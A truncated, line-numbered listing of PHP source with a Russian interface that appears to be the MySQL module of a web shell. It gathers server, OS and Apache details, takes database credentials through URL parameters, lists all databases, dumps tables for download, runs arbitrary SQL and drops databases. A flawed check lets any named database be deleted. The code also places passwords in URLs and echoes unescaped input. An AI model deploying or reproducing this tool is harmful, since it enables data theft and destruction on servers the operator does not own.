  441. fputs($fp, $sql);
  442. }
  443. }
  444. fclose($fp);
  445. }
  446. if ($_REQUEST['strukt']=='t_strukt'){
  447. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
  448. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  449. $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
  450. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  451. $fp = fopen($file, "w");
  452. fputs ($fp, "# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
  453. date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
  454. $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
  455. $row = mysql_fetch_row($res);
  456. fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
  457. fputs($fp, $row[1].";\n\n");
  458. fclose($fp);
  459. }
  460. if ($_REQUEST['strukt']=='d'){
  461. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
  462. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  463. $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
  464. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  465. $fp = fopen($file, "w");
  466. $res = mysql_query("SELECT * FROM `$tbl`", $connection);
  467. if (mysql_num_rows($res) > 0) {
  468. while ($row = mysql_fetch_assoc($res)) {
  469. $keys = implode("`, `", array_keys($row));
  470. $values = array_values($row);
  471. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  472. $values = implode("', '", $values);
  473. $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
  474. fputs($fp, $sql);
  475. }
  476. }
  477. fclose($fp);
  478. }
  479. download($f_dump);
  480. }
  481. if ($_REQUEST['img']=='b_close') {
  482. $b_close='R0lGODlhdwAUAOYAANWEhdJYWNiwsc0PD9aTk88sLNA7O9rNztehotR1dk0AANQnJ4IAANc1Ndg9PWYAAL4'.
  483. 'AAM8PD6AAANg8POiLi8yEhb0sLIYAAGIAAMRYWOeGhtc5Oc8NDeR3d1gAANuEhU4AAKcAANJbW9Z1dt1XV8'.
  484. 'IAAONzc8QAAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUAANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK'.
  485. 'c4MDNROT0UAAKwAANtJSdQqKtAUFOqYmMwCAuR2dtuiou2jo95bW8l1dtc3N+ucnI4AAJMAAHoAAD4AANWK'.
  486. 'i+yfn5IAAOuZmdaVls4KCtlAQJQAAEAAANtMTOFra3EAAJEAALgAAOFpaWcAAOeFhXAAAN9dXeqVlTcAANg'.
  487. '6Ol4AANNnZ9m/wLUAANEbG9tKSoQAAOiOjuaCglYAAOJsbDQAANvc3cwAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
  488. 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAB3ABQAAAf/gFFFKk9ha4eIiYqLjI2Oj5CRk'.
  489. 'pOJGiY4GxwUQUkoFGygoaKjpKWmp6ipqqusokNGSBwzHV4UGh1uubq7vL2+v8DBwsPExbtgYy5nSjJYK1wk'.
  490. 'adLT1NXW19jZ2tvc1h8tRB/d2BsxW0tZPldpVD9o7/Dx8vP09fb3+PnxO3D9cCP66k05UwWGBwcTGiyIEKe'.
  491. 'hw4cQI0qcSLGixYsOB8A5UKYAxooQJDB4oAChQoYNBfgzEIeAvwQNzcg0w3KASzhmBrQ0A2CjTgJm4pShac'.
  492. 'BMmThmCAg1OnQmgaEsIwLteeDnyzg9AwCA2fCmgAFFZ8pUGkdAzoYhR5ZMuLChgQMA/xDgjAP3ZhwD/Q7MV'.
  493. 'UlAJYI4/QjohdkPKZwBPcvgRVCgXxmg/Yyq9Bgx8GC6AOz66/dXLgK+QyNDFgrnL1qRJE22bTggQBk4AOK0'.
  494. '7gmHdAKNAPAKCBAAZ2MBcXoD+A249uTXCfTCYUm8OIDhD4kLl621n8acGuE0n1s8ZW0z2h2mTc0WJWmfrzf'.
  495. 'OvWmdtj8Er2P3ThCfeGGXB5Q3jC97c22H/M2Xnl5mTGdYAnAcBVhQ1zWUWGkPjbfWSRC95gQcwE0HXnXPJf'.
  496. 'hQVi0tl1V8DYK3HHcgTqfXh3AEEKIIGAYHm4E4gYicjLGdF554qE24WoIBqCQFhgHodVQ/AKhUxv9rHJUhQ'.
  497. 'FEJvhYUeJAhIFdsjvVGFng69SSAS0E5BN6SOPW2m5HZBRllaWXo5VFiDfUGYYQ9qsYQXv585V8BeAbWkFz+'.
  498. 'FOePR/75o1iMCCpYWFmbRdXQntkNipU/OSq3nHeO9kMZj2rZ6RBvlLWmk0UFBMAchqV+pCpEv6XKWgCjOlR'.
  499. 'qrHe5ONFrptHZaXmrWsRfr8D+CqxF/TjKKUkv5MCCDiWc4eyz0EYrrbQZVGDBtNhmq62z1V677bfSWlDBEd'.
  500. 'OGQMMXHvAAhBA3pKCFGvDGK++89NZr77345qvvvvzKywQGIFjxxgk9QFEDBm0krPDCDDfs8MMQRyzxxBRXv'.
  501. 'DArCDa8oXEIF3ShgBgahyzyyCSXbPLJKKes8soso3wBGU20LPPMNNdsc8qBAAA7';
  502. send_header();
  503. echo base64_decode($b_close);
  504. }
  505. $n_img = create_function('$tag,$f_n,$img_c', 'print \'<\'.$tag.\'>\';$f_n("$img_c");');
  506. $h_error="<br><table align=center width=500 height=70 bgcolor=red><b>Ошибка в запросе:</b><tr><td align=center><br><h5>";
  507. $f_error="</h5></td></tr></table>
  508. <CENTER><FORM><INPUT type=\"button\" value=\" << Назад \" onClick=\"history.go(-1)\"><BR>
  509. </FORM></CENTER>
  510. </td></tr></table></td></tr></table>
  511. <table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#181818>
  512. <tr><td>
  513. <table align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
  514. </table>
  515. </td></tr>
  516. </table>
  517. </td></tr></table>";
  518. print "
  519. <html><HEAD><TITLE>MySQL</TITLE>
  520. <META http-equiv=Content-Type Pragma: no-cache; content=\"text/html; charset=windows-1251\">
  521. ".$mainmenu."</HEAD><BODY bgcolor=#181818 text=#ffffff onLoad=\"writeMenus()\" onResize=\"if (isNS4) nsResizeHandler()\"><br>";
  522. if ($sapi_type == "cgi") {
  523. $php_type="CGI";
  524. } else {
  525. $php_type="модуль";
  526. }
  527. $start_form="<br>
  528. <table align=center border=0 width=100% cellpadding=2 cellspacing=0 bgcolor=#181818>
  529. <tr>
  530. <td>
  531. <table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#181818>
  532. <tr><td>
  533. <table border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
  534. <tr>
  535. <td width=25>
  536. &nbsp;
  537. </td>
  538. <td>
  539. <font size=4><b>MySQL</b></font>
  540. </td>
  541. <td width=33% align=right>
  542. ".date ("j F- Y- g:i")."&nbsp;&nbsp;
  543. </td>
  544. </tr>
  545. </table>
  546. </td></tr>
  547. </table>
  548. </td></tr>
  549. <tr><td>
  550. <table align=center border=0 width=80% cellpadding=2 cellspacing=0 bgcolor=#181818>
  551. <tr>
  552. <td bgcolor=#181818 valign=top width=200><br>
  553. <center><b>Утилита для работы с MySQL</b></center><hr width=98%>
  554. <li>Просмотр баз и таблиц.
  555. <li>Произвольные запросы к БД.
  556. <li>Редактирование баз и таблиц.
  557. <li>Дампы БД или таблиц.<hr width=98%>
  558. </td>
  559. <td bgcolor=#181818><center><font size=2>
  560. <br>Для соединения с сервером MySQL введите <b>ИМЯ</b>, <b>ПАРОЛЬ</b> (пользователя MySQL) и имя <b>ХОСТА</b>.</font></center><br>
  561. <li>Если логин юзера mysql не указан явно, по умолчанию подставляется имя владельца процесса.
  562. <li>Если пароль юзера mysql не указан явно, по умолчанию подставляется пустой пароль.
  563. <li>Если имя севрвера mysql не указано явно, по умолчанию подставляется <b>localhost</b>
  564. <li>Если порт для севрвера mysql не указан явно, подставляется порт по умолчанию, обычно (<b>3306</b>)<br><br>
  565. <center>Версия PHP (<b>".phpversion()."</b>)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ID PHP script (<b>".get_current_user( )."</b>)</center>
  566. <br><table align=center>
  567. <tr><td>имя юзера MySQL</td><td align=right>пароль юзера MySQL&nbsp;</td></tr>
  568. <form method=\"get\" action=\"$self\">
  569. <input type=hidden name=sec value=mysql>
  570. <input type=hidden name=workingdir value=".getcwd().">
  571. <input type=\"hidden\" name=\"s\" value=\"y\">
  572. <tr>
  573. <td><input type=\"text\" name=\"login\" value=\"root\" maxlength=\"64\"></td>
  574. <td align=right><input type=\"text\" name=\"passwd\" value=\"$passwd\" maxlength=\"64\"></td>
  575. </tr>
  576. <tr><td>Сервер MySQL</td><td>порт</td></tr>
  577. <tr>
  578. <td><input type=\"text\" name=\"server\" value=\"localhost\" maxlength=\"64\"></td>
  579. <td><input type=\"text\" name=\"port\" value=\"3306\" maxlength=\"6\" size=\"3\">
  580. <input type=\"submit\" value=\"подключиться\"></td>
  581. </tr></table><br>
  582. </td>
  583. </tr>
  584. </table>
  585. </td></tr>
  586. <tr><td>
  587. <table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#181818>
  588. <tr><td>
  589. <table align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
  590. </table>
  591. </td></tr>
  592. </table>
  593. </td></tr></table>
  594. ";
  595. if ($os =='win') {
  596. $os="OS- <b>".$HTTP_ENV_VARS["OS"]."</b>";
  597. }else{
  598. $str_k=$_ENV["BOOT_FILE"];
  599. $k=preg_replace ("/[a-zA-Z\/]/","", $str_k);
  600. $os="OS\Kernel: <b>".$_ENV["BOOT_IMAGE"].$k."</b>";
  601. }
  602. if (!isset($s) || $_REQUEST[s] != 'y') { print $start_form;
  603. $serv = array(127,192,172,10);
  604. $adrr=@explode('.', $HTTP_SERVER_VARS["SERVER_ADDR"]);
  605. if (!in_array($adrr[0], $serv)) {
  606. }
  607. exit;
  608. }
  609. $form_ad_b="<br>
  610. <table width=80% align=center border=0 cellpadding=0 cellspacing=1 bgcolor=#181818>
  611. <tr>
  612. <td>
  613. <table width=100% align=center border=0 cellpadding=4 cellspacing=0 bgcolor=#181818>
  614. <td>
  615. MySQL <b>$server</b> v.(<b>".mysql_get_server_info()."</b>)
  616. </td>
  617. <td align=center>
  618. <b>".$HTTP_SERVER_VARS["SERVER_SOFTWARE"]."</b>
  619. </td>
  620. <td align=right>
  621. Версия PHP (<b>".phpversion()."</b>) $php_type
  622. </td>
  623. </tr>
  624. <tr bgcolor=#181818>
  625. <td>
  626. IP:<b>".$HTTP_SERVER_VARS["SERVER_ADDR"]."</b> Name:<b>".$HTTP_SERVER_VARS["SERVER_NAME"]."</b>
  627. </td>
  628. <td align=center>
  629. ID PHP script (<b>".get_current_user( )."</b>)
  630. </td>
  631. <td align=right>
  632. $os
  633. </td>
  634. </tr>
  635. </table>
  636. </td></tr></table>
  637. <table width=80% align=center border=0 cellpadding=5 cellspacing=1>
  638. <tr>
  639. <td>
  640. <a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&stat=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Статистика MySQL</b></a>
  641. </td>
  642. <td align=right>
  643. <a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&proc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Процессы MySQL </b></a>
  644. </td>
  645. <td align=center>
  646. &nbsp;
  647. </td>
  648. </tr>
  649. <tr>
  650. <td>
  651. <a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&apc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Переменные Apache </b></a>
  652. </td>
  653. <td align=right>
  654. <a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&var=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>Переменные MySQL </b></a>
  655. </td>
  656. <td align=center>
  657. &nbsp;
  658. </td>
  659. </tr>
  660. </table><br>
  661. <table width=300 align=center cellpadding=0 cellspacing=1 bgcolor=#181818>
  662. <tr bgcolor=#181818><td>
  663. <table align=center cellpadding=0 cellspacing=0>
  664. <tr bgcolor=#181818>
  665. <td> <table cellpadding=4><tr><td><b>Создать новую базу данных</b></td></tr><tr><td>
  666. <form method=\"get\" action=\"$self\">
  667. <input type=hidden name=sec value=mysql>
  668. <input type=hidden name=workingdir value=".getcwd().">
  669. <input type=\"hidden\" name=\"s\" value=\"$s\">
  670. <input type=\"hidden\" name=\"server\" value=\"$server\">
  671. <input type=\"hidden\" name=\"port\" value=\"$port\">
  672. <input type=\"hidden\" name=\"login\" value=\"$login\">
  673. <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
  674. <input type=\"text\" name=\"new_db\" value=\"\" maxlength=\"64\">
  675. <input type=\"submit\" value=\"создать\"></td>
  676. </tr></table>
  677. </td>
  678. </tr>
  679. </table>
  680. </td>
  681. </tr></table></form>
  682. <table width=80% align=center border=0 cellpadding=0>
  683. <tr align=right>
  684. <td width=85%></td>
  685. <td width=15>
  686. <a href=$self><img src=".$self."?sec=mysql&workingdir=".getcwd()."&img=b_close border=0 title=close></a>
  687. </td>
  688. </tr>
  689. </table>
  690. ";
  691. $cnt_b=mysql_num_rows(mysql_list_dbs());
  692. print "
  693. <table align=center border=0 width=100% cellpadding=1 cellspacing=0 bgcolor=#181818>
  694. <tr>
  695. <td>
  696. <table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#181818>
  697. <tr><td>
  698. <table border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
  699. <tr>
  700. <td>
  701. &nbsp;
  702. </td>
  703. <td width=33%>
  704. <font size=4><b>MySQL</b></font>
  705. </td>
  706. <td width=33% align=center>
  707. <font color=blue><b>$server</b></font>&nbsp;[CONNECTION Ok] &nbsp;&nbsp;Всего баз: <b>$cnt_b</b>
  708. </td>
  709. <td width=33% align=right>
  710. ".date ("j F- Y- g:i")."&nbsp;&nbsp;
  711. </td>
  712. </tr>
  713. </table>
  714. </td></tr>
  715. </table>
  716. </td></tr>
  717. <tr><td>
  718. <table align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
  719. <tr>
  720. <td bgcolor=#181818 valign=top width=170>";
  721. if (isset($server)&&isset($port)&&isset($login)&&isset($passwd)){
  722. $connection = mysql_connect($server.":".$port, $login, $passwd) or die("$header<table align=center width=80% bgcolor=red><tr><br>Ошибка соединения с MySQL сервером <b>$server</b><td><center><font size=2><b>".mysql_error()."</b></font></center><br><b>Вероятные ошибки:</b><li>Не правильный адрес сервера <b>$server</b><li>Не правильный номер порта <b>$port</b><li>Не верное имя (login) юзера mysql <b>$login</b><li>Не верный пароль (password) юзера mysql <b>$passwd</b><li>Доступ к серверу $server запрещен с адреса <b>".getenv('REMOTE_ADDR')."</b><li>Удаленный сервер временно не доступен</td></tr></table><br></td></tr></table><script>alert('Не возможно установить соединение с MySQL сервером $server \\n\\n Проверьте правильность входящих данных:\\n\\nсервер $server\\nпорт $port\\nимя $login\\nпароль $passwd');</script><head><META HTTP-EQUIV='Refresh' CONTENT='3;url=$self'></head>");
  723. }
  724. if ($connection&&!isset($db)) {
  725. print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#181818><tr><td bgcolor=#181818 align=center>".
  726. "<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Вернуться в начало и обновить список баз\"><font color=green><b>".
  727. "Показать&nbsp;все&nbsp;базы</b></font></a></td></tr></table>";
  728. $result = mysql_list_dbs($connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
  729. while ( $row=mysql_fetch_row($result) ){
  730. $cnt_title=mysql_num_rows(mysql_list_tables($row[0]));
  731. print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#181818><tr><td bgcolor=#181818>";
  732. if ($cnt_title < 1) {
  733. print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$row[0]&cr_tbl=new&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Всего таблиц $cnt_title\"><b>$row[0]</b></a>";
  734. }else{
  735. print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$row[0]&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Всего таблиц $cnt_title\"><b>$row[0]</b></a>";
  736. }
  737. print "</td></tr></table>";
  738. }
  739. }
  740. if (isset($db)){
  741. $result=mysql_list_tables($db) or die ("$h_error<b>".mysql_error()."</b>$f_error<head><META HTTP-EQUIV='Refresh' CONTENT='5;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>");
  742. print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#181818><tr><td bgcolor=#181818 align=center>".
  743. "<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port\"><font color=green><b>".
  744. "Показать&nbsp;все&nbsp;базы</b></font></a></td></tr><tr><td></td></tr><tr><td></td></tr></table>";
  745. print "<table cellpadding=0 cellspacing=1 width=100% bgcolor=#181818><tr><td bgcolor=#181818 align=center>".
  746. "---[ <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db\" title=\"обновить список таблиц\"><b>$db</b></a>".
  747. " ]---</a></td></tr><tr><td></td></tr><tr><td></td></tr></table>";
  748. while ( $row=mysql_fetch_array($result) ){
  749. $count=mysql_query ("SELECT COUNT(*) FROM $row[0]");
  750. $count_row= mysql_fetch_array($count);
  751. print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#181818>".
  752. "<tr><td bgcolor=#181818>";
  753. if ($count_row[0] < 1) {
  754. print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&nn_row=ok\">$row[0]</a>&nbsp;($count_row[0])</td></tr></table>";
  755. }else{
  756. print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&limit_start=0&limit_count=5\">$row[0]</a>&nbsp;($count_row[0])</td></tr></table>";
  757. }
  758. @mysql_free_result($count);
  759. }
  760. }
  761. print "
  762. </td>
  763. <td valign=top bgcolor=#181818>";
  764. if ($connection&&!isset($db)) {
  765. $anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection);
  766. if (mysql_num_rows($anon)>0) { print "<table align=center><tr><td><b>Внимание!<b></td></tr><tr><td bgcolor=red>Анонимным пользователям разрешено подключение к серверу MySQL</td></tr></table>"; }
  767. print $form_ad_b;
  768. }
  769. if (isset($proc) && $proc=="TRUE"){
  770. $result = mysql_query("SHOW PROCESSLIST", $connection);
  771. print "<center><font size=2>Процессы MySQL сервера [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#181818><tr align=center bgcolor=#181818><td>ID</td><td>USER</td><td>HOST</td><td>DB</td><td>COMMAND</td><td>TIME</td><td>STATE</td><td>INFO</td></tr>";
  772. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
  773. print "<tr bgcolor=#181818><td>$row[0]</td><td>$row[1]</td><td>$row[2]</td><td>$row[3]</td><td>$row[4]</td><td>$row[5]</td><td>$row[6]</td><td>$row[7]</td></tr>";
  774. }
  775. print "</table><br>";
  776. mysql_free_result($result);
  777. unset($proc);
  778. }
  779. if (isset($_REQUEST['new_db'])){
  780. $new_db=trim($_REQUEST['new_db']);
  781. if (mysql_create_db ($new_db)) {
  782. print ("<center><font size=2>База <b>$new_db</b> успешно создана</font></center><br>");
  783. print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
  784. } else {
  785. print "$h_error".mysql_error()."$f_error <head><META HTTP-EQUIV='Refresh' CONTENT='5;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
  786. }
  787. unset($new_db);
  788. }
  789. if (isset($_REQUEST['drop'])){
  790. $result_d = mysql_list_dbs($connection) or die("<td bgcolor=#181818>$h_error".mysql_error()."$f_error</td></tr></table>");
  791. while ( $row_d=mysql_fetch_row($result_d) ){
  792. if ($drop==$row_d[0]) $dr="TRUE";
  793. }
  794. if ($dr="TRUE") {
  795. mysql_drop_db($drop,$connection);
  796. print ("<center><font size=2>База <b>$drop</b> успешно удалена</font></center><br>");
  797. print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
  798. }
  799. unset($drop);
  800. }
  801. if (isset($apc) && $apc=="TRUE"){
  802. print "<center><font size=2>Переменные сервера Apache [ <b>$server</b> ]</font><center>
  803. <table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#181818>
  804. <tr align=center bgcolor=#181818>
  805. <td>Описание</td><td>Переменная</td>
  806. </tr>
  807. <tr bgcolor=#181818><td>Имя Internet-хоста</td><td>".$HTTP_SERVER_VARS["SERVER_NAME"]."</td></tr>
  808. <tr bgcolor=#181818><td>IP-адрес хоста</td><td>".$HTTP_SERVER_VARS["SERVER_ADDR"]."</td></tr>
  809. <tr bgcolor=#181818><td>Порт Web-сервера.</td><td>".$HTTP_SERVER_VARS["SERVER_PORT"]."</td></tr>
  810. <tr bgcolor=#181818><td>Спецификация CGI интефейса.</td><td>".$HTTP_SERVER_VARS["GATEWAY_INTERFACE"]."</td></tr>
  811. <tr bgcolor=#181818><td>Протокол при запросе данной страницы (метод).</td><td>".$HTTP_SERVER_VARS["REQUEST_METHOD"]."</td></tr>
  812. <tr bgcolor=#181818><td>Root директория для данного пользователя.</td><td>".$HTTP_SERVER_VARS["DOCUMENT_ROOT"]."</td></tr>
  813. <tr bgcolor=#181818><td>Заголовок текущего запроса.</td><td>".$HTTP_SERVER_VARS["HTTP_CONNECTION"]."</td></tr>
  814. <tr bgcolor=#181818><td>Директива httpd.conf (SERVER_ADMIN).</td><td>".$HTTP_SERVER_VARS["SERVER_ADMIN"]."</td></tr>
  815. <tr bgcolor=#181818><td>Сигнатура сервера.</td><td>".$HTTP_SERVER_VARS["SERVER_SIGNATURE"]."</td></tr>
  816. </table><br>";
  817. unset($apc);
  818. }
  819. if (isset($stat) && $stat=="TRUE"){
  820. $result = mysql_query("SHOW STATUS", $connection);
  821. print "<center><font size=2>Переменные состояния MySQL сервера [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=400 bgcolor=#181818><tr align=center bgcolor=#181818><td>Переменные состояния сервера</td><td>значения переменных</td></tr>";
  822. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
  823. print "<tr bgcolor=#181818><td>$row[0]</td><td>$row[1]</td></tr>";
  824. }
  825. print "</table>";
  826. mysql_free_result($result);
  827. }
  828. if (isset($var) && $var=="TRUE"){
  829. $result = mysql_query("SHOW VARIABLES ", $connection);
  830. print "<center><font size=2>Системные переменные MySQL сервера [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#181818><tr align=center bgcolor=#181818><td>Переменные сервера</td><td>значения переменных</td></tr>";
  831. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
  832. print "<tr bgcolor=#181818><td>$row[0]</td><td>$row[1]</td></tr>";
  833. }
  834. print "</table>";
  835. mysql_free_result($result);
  836. unset($var);
  837. }
  838. if (isset($db) && !isset($tbl)) {
  839. $cnt=mysql_num_rows(mysql_list_tables($db));
  840. print "<table border=0 align=center width=100% cellpadding=0 cellspacing=0>
  841. <tr>
  842. <td>
  843. <table border=0 align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#181818>
  844. <tr align=center>
  845. <td width=20% bgcolor=#181818>
  846. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&cr_tbl=new\" title=\"Создать новую таблицу в базе $db\"><b>Создать таблицу</b></a>
  847. </td>
  848. <td width=20% bgcolor=#181818>
  849. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&query_tbl&q_tbl=bd\" title=\"Произвольный запрос к базе\"><b>SQL-запрос</b></a>
  850. </td>
  851. <td width=20% bgcolor=#181818>
  852. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&str=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Показать структуру БД\"><b>структура</b></a>
  853. </td>
  854. <td width=20% bgcolor=#181818>
  855. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&dump=bd\" title=\"Экспорт данных базы $db\"><b>Дамп базы</b></a>
  856. </td>
  857. <td width=20% bgcolor=#181818>
  858. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&drop=$db&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Удалить БД $db\" onClick=\"return confirm('Удалить базу $db ?')\";><b>удалить базу</b></a>
  859. </td>
  860. </tr>
  861. </table>
  862. </td>
  863. </tr>
  864. <tr>
  865. <td><br>";
  866. print "&nbsp;&nbsp;БД:(<b>$db</b>) &nbsp;&nbsp;Всего таблиц:(<b>$cnt</b>)";
  867. if (isset($t)) { print "<br>&nbsp;&nbsp;";}
  868. if (isset($t2)) {

Large files files are truncated, but you can click here to view the full file